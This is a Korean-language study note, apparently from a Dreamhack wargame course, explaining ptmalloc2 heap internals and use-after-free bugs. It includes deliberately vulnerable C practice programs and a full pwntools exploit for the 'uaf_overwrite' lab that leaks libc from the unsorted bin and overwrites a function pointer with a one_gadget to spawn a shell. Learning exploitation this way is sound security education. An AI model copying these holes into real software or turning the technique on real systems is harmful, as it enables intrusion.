Use After Free | dreamhack
ptmalloc2
memory allocator는 한정된 메모리 자원을 각 프로세스에 효율적으로 배분하여
동적으로 할당하고, 할당한 메모리의 쓰임이 다하면 해제하여 관리한다.
memory allocator에 사용되는 알고리즘
: 리눅스 - ptmalloc2 / 구글 - tcmalloc 등
ptmalloc2
1. 메모리 낭비 방지
메모리 할당 요청이 발생하면, 먼저 해제된 메모리 공간 중에서 재사용할 수 있는 공간 탐색
: 해제된 메모리 공간 중에서 요청된 크기와 같은 크기의 메모리 공간이 있다면 이를 그대로 재사용
2. 빠른 메모리 재사용
tcache 또는 bin이라는 연결 리스트에 해제된 메모리 공간의 주소를 기억
: 서로다른 크기의 메모리 공간을 저장 => 특정 크기 할당 요청 시 크기에 관련된 저장소만 탐색
3. 메모리 단편화 방지 (memory fragmentation)
- 내부 단편화 internal fragmentation : 할당 mem > 실제 data
- 외부 단편화 external fragmentaion : 할당 mem 공간들 사이에 공간이 많아서 생기는 비효율
=> 해결하기 위해
정렬 alignment
64비트 환경에서 ptmalloc은 메모리 공간을 16바이트 단위로 할당
-> 사용자가 어떤 크기의 메모리 공간을 요청하면, 그보다 조금 크거나 같은 16바이트 단위의 메모리 공간을 제공
==> 이렇게 공간을 정렬하면 16바이트 이내의 내부 단편화가 발생할 수 있지만, 역설적으로 외부 단편화를 감소시키는 효과 존재
공간을 정렬하지 않고, 프로세스가 요청하는 만큼 할당할 수 있다면 모든 데이터가 연속적으로 할당되어 외부 단편화를 최소화할 수 있을 것 같으나,
공간을 해제하고 재사용할 때, 정확히 같은 크기의 할당 요청이 발생할 확률은 희박
==> 비슷한 크기의 요청에 대해서는 모두 같은 크기의 공간을 반환해야 해제된 청크들의 재사용률을 높이고, 외부 단편화도 줄일 수 있습니다.
병합 coalescence & 분할 split
ptmalloc은 특정 조건을 만족-> 해제된 공간들을 병합
병합으로 생성된 큰 공간은 그 공간과 같은 크기의 요청에 의해, 또는 그보다 작은 요청에 의해 분할되어 재사용
잘게 나뉜 영역을 병합하고, 필요할 때 구역을 다시 설정함으로써 해제된 공간의 재사용률을 높이고, 외부 단편화를 줄인다.
ptmalloc의 객체
chunck : ptmalloc2가 메모리를 할당하는 단위
bins : 해제된 청크들을 보관, bin을 이용하여 청크를 빠르게 재할당하고, 단편화 최소화
( fastbin, smallbin, largebin, unsortedbin 존재)
arena : ptmallloc이 관리하는 메모리들의 정보o, 모든 스레드가 공유하는 자원
-> 한 스레드의 점유 시 race condition을 막기위해 lock ( 64개 최대)
tcache : 스레드마다 해제된 청크를 보관하는 저장소로 각 tcache마다 7개의 청크 보관 가능
(참고)
https://learn.dreamhack.io/569#9
Use After Free
메모리 참조에 사용한 포인터를 메모리 free후에 적절히 초기화x거나, free 메모리를 쵝화하지 않고 다음 청크에 재할당
=> use-after-free 취약점
Dangling Pointer : 유효하지 않은 메모리 영역을 가리키는 포인터
malloc함수 : 할당한 메모리 주소를 반환
(과정 | 동적할당시 포인터 선언 - 포인터에 malloc함수의 할당 메모리 주소 저장 - *참조하여 메모리에 접근)
free함수 : 청크를 ptmalloc에 반환 only => 주소를 담고있던 포인터를 초기화하지 x == dangling pointer
// Name: dangling_ptr.c
// Compile: gcc -o dangling_ptr dangling_ptr.c
#include <stdio.h>
#include <stdlib.h>
int main() {
char *ptr = NULL;
int idx;
while (1) {
printf("> ");
scanf("%d", &idx);
switch (idx) {
case 1:
if (ptr) {
printf("Already allocated\n");
break;
}
ptr = malloc(256);
break;
case 2:
if (!ptr) {
printf("Empty\n");
}
# 얘는 pointer변수 ptr이 가리키던 메모리를 free
# 그러나 ptr변수 자체를 초기화하지는 않음
free(ptr);
break;
default:
break;
}
}
}
UAF (use-after-free)
해제된 메모리에 접근할 수 있을 때 발생되는 취약점
: 요인 - dangling pointer, 기존 할당영역 초기화없이 재사용
// Name: uaf.c
// Compile: gcc -o uaf uaf.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct NameTag {
char team_name[16];
char name[32];
void (*func)();
};
struct Secret {
char secret_name[16];
char secret_info[32];
long code;
};
int main() {
int idx;
struct NameTag *nametag;
struct Secret *secret;
secret = malloc(sizeof(struct Secret));
strcpy(secret->secret_name, "ADMIN PASSWORD");
strcpy(secret->secret_info, "P@ssw0rd!@#");
secret->code = 0x1337;
free(secret);
secret = NULL;
nametag = malloc(sizeof(struct NameTag));
strcpy(nametag->team_name, "security team");
memcpy(nametag->name, "S", 1);
printf("Team Name: %s\n", nametag->team_name);
printf("Name: %s\n", nametag->name);
if (nametag->func) {
printf("Nametag function: %p\n", nametag->func);
nametag->func();
}
}
- ptmalloc2는 새로운 할당요청이 들어왔을때, 요청된 크기가 비슷하면 bin/ tcache에 존재하는 지 확인하고 있으면 재사용
- 이때 위의 secret과 nametag는 동일한 크기의 구조체 => 재사용 : 동일한 메모리 영역 사용
- 이때, free(secret), pointer는 초기화했으나, 메모리의 데이터 자체는 초기화 하지않으므로 nametag에는 secret정보의 값이 일부 존재하여 출력
$heap명령어를 통해 할당, free된 청크의 정보 조회가능
uaf_oeverwrite
- amd64 (64bit)
- Full RELRO, canary, NX, PIE 적용 ㅎ
주요 소스코드 분석
struct Human {
char name[16];
int weight;
long age;
};
struct Robot {
char name[16];
int weight;
void (*fptr)();
};
struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;
void print_name() { printf("Name: %s\n", robot->name); }
void menu() {
printf("1. Human\n");
printf("2. Robot\n");
printf("3. Custom\n");
printf("> ");
}
void human_func() {
int sel;
human = (struct Human *)malloc(sizeof(struct Human));
strcpy(human->name, "Human");
printf("Human Weight: ");
scanf("%d", &human->weight);
printf("Human Age: ");
scanf("%ld", &human->age);
free(human);
}
void robot_func() {
int sel;
robot = (struct Robot *)malloc(sizeof(struct Robot));
strcpy(robot->name, "Robot");
printf("Robot Weight: ");
scanf("%d", &robot->weight);
if (robot->fptr)
robot->fptr();
else
robot->fptr = print_name;
robot->fptr(robot);
free(robot);
}
int custom_func() {
unsigned int size;
unsigned int idx;
if (c_idx > 9) {
printf("Custom FULL!!\n");
return 0;
}
printf("Size: ");
scanf("%d", &size);
if (size >= 0x100) {
custom[c_idx] = malloc(size);
printf("Data: ");
read(0, custom[c_idx], size - 1);
printf("Data: %s\n", custom[c_idx]);
printf("Free idx: ");
scanf("%d", &idx);
if (idx < 10 && custom[idx]) {
free(custom[idx]);
custom[idx] = NULL;
}
}
c_idx++;
}
int main() {
int idx;
char *ptr;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while (1) {
menu();
scanf("%d", &idx);
switch (idx) {
case 1:
human_func();
break;
case 2:
robot_func();
break;
case 3:
custom_func();
break;
}
}
}
- struck Human ,Robot : 크기 동일
- human_func : 구조체 변수를 위한 메모리 할당시에 초기화x
- robot_func : 구조체 변수 초기화x, Robot변수의 fptr이 NULL아니면 이를 호출 => 변수에 원하는 값을 남겨놓으면 실행 흐름 조작가능!
- customfunc : 0x100 이상의 크기를 갖는 청크 할당 및 해제 가능 , 메모리 초기화x
시나리오
Robot.fptr 의 값을 원 가젯의 주소로 overwrite하여 셸 획득 하기 위해
libc가 매핑된 주소를 알아야한다.
1. library leak
unsorted bin에 첫 연결 청크는 libc영역의 특정 주소와 이중 원형 연결 리스트를 형성한다.
첫 청크는 fd, bk의 값 => libc영역의 특정 주소
==> unsorted bin에 연결된 청크를 재할당 후 , UAF취약점으로 fd나 bk의 값을 읽어와 libc 주소를 구하자
위의 custom_func함수는 0x100바이트의 청크
=> 0x410이하 크기의 청크는 tcache에 삽입 / 더 큰 청크를 해제해서 unsorted bin에 연결하고, 이를 재할당하여 읽으면 libc base주소 get!
+ 여기서 주의할 점은, 해제할 청크가 탑 청크와 맞닿으면 안 된다는 것입니다. unsorted bin에 포함되는 청크와 탑 청크는 병합 대상이므로, 이 둘이 맞닿으면 청크가 병합됩니다. 이를 피하려면 청크 두 개를 연속으로 할당하고, 처음 할당한 청크를 해제해야 합니다
2. 함수 포인터 덮어쓰기
Human 크기 == Robot 크기
-> human해제되고 초기화x => Robot 할당 시 재사용
Human -> age 의 위치 == Robot-> fptr 의 위치이므로
Human age에 원가젯 주소를 입력하고 이어서 Robot fptr을 호출 !
Exploit
1. 라이브러리 릭
#!/usr/bin/env python3
# Name: uaf_overwrite.py
from pwn import *
p = process('./uaf_overwrite')
def slog(sym, val): success(sym + ': ' + hex(val))
def human(weight, age):
p.sendlineafter(b'>', b'1')
p.sendlineafter(b': ', str(weight).encode())
p.sendlineafter(b': ', str(age).encode())
def robot(weight):
p.sendlineafter(b'>', b'2')
p.sendlineafter(b': ', str(weight).encode())
def custom(size, data, idx):
p.sendlineafter(b'>', b'3')
p.sendlineafter(b': ', str(size).encode())
p.sendafter(b': ', data)
p.sendlineafter(b': ', str(idx).encode())
# UAF to calculate the `libc_base`
custom(0x500, b'AAAA', -1)
custom(0x500, b'AAAA', -1)
custom(0x500, b'AAAA', 0)
custom(0x500, b'B', -1) # data 값이 'B'가 아니라 'C'가 된다면, offset은 0x3ebc42 가 아니라 0x3ebc43이 됩니다.
lb = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x3ebc42
og = lb + 0x10a41c # 제약 조건을 만족하는 원가젯 주소 계산
slog('libc_base', lb)
slog('one_gadget', og)
2. 함수 포인터 덮어쓰기
# UAF to manipulate `robot->fptr` & get shell
human(1, og)
robot(1)
p.interactive()
Exploit code
#!/usr/bin/env python3
# Name: uaf_overwrite.py
from pwn import *
p = process('./uaf_overwrite')
def slog(sym, val): success(sym + ': ' + hex(val))
def human(weight, age):
p.sendlineafter(b'>', b'1')
p.sendlineafter(b': ', str(weight).encode())
p.sendlineafter(b': ', str(age).encode())
def robot(weight):
p.sendlineafter(b'>', b'2')
p.sendlineafter(b': ', str(weight).encode())
def custom(size, data, idx):
p.sendlineafter(b'>', b'3')
p.sendlineafter(b': ', str(size).encode())
p.sendafter(b': ', data)
p.sendlineafter(b': ', str(idx).encode())
# UAF to calculate the `libc_base`
custom(0x500, b'AAAA', -1)
custom(0x500, b'AAAA', -1)
custom(0x500, b'AAAA', 0)
custom(0x500, b'B', -1) # data 값이 'B'가 아니라 'C'가 된다면, offset은 0x3ebc42 가 아니라 0x3ebc43이 됩니다.
lb = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x3ebc42
og = lb + 0x10a41c # 제약 조건을 만족하는 원가젯 주소 계산
slog('libc_base', lb)
slog('one_gadget', og)
# UAF to manipulate `robot->fptr` & get shell
human(1, og)
robot(1)
p.interactive()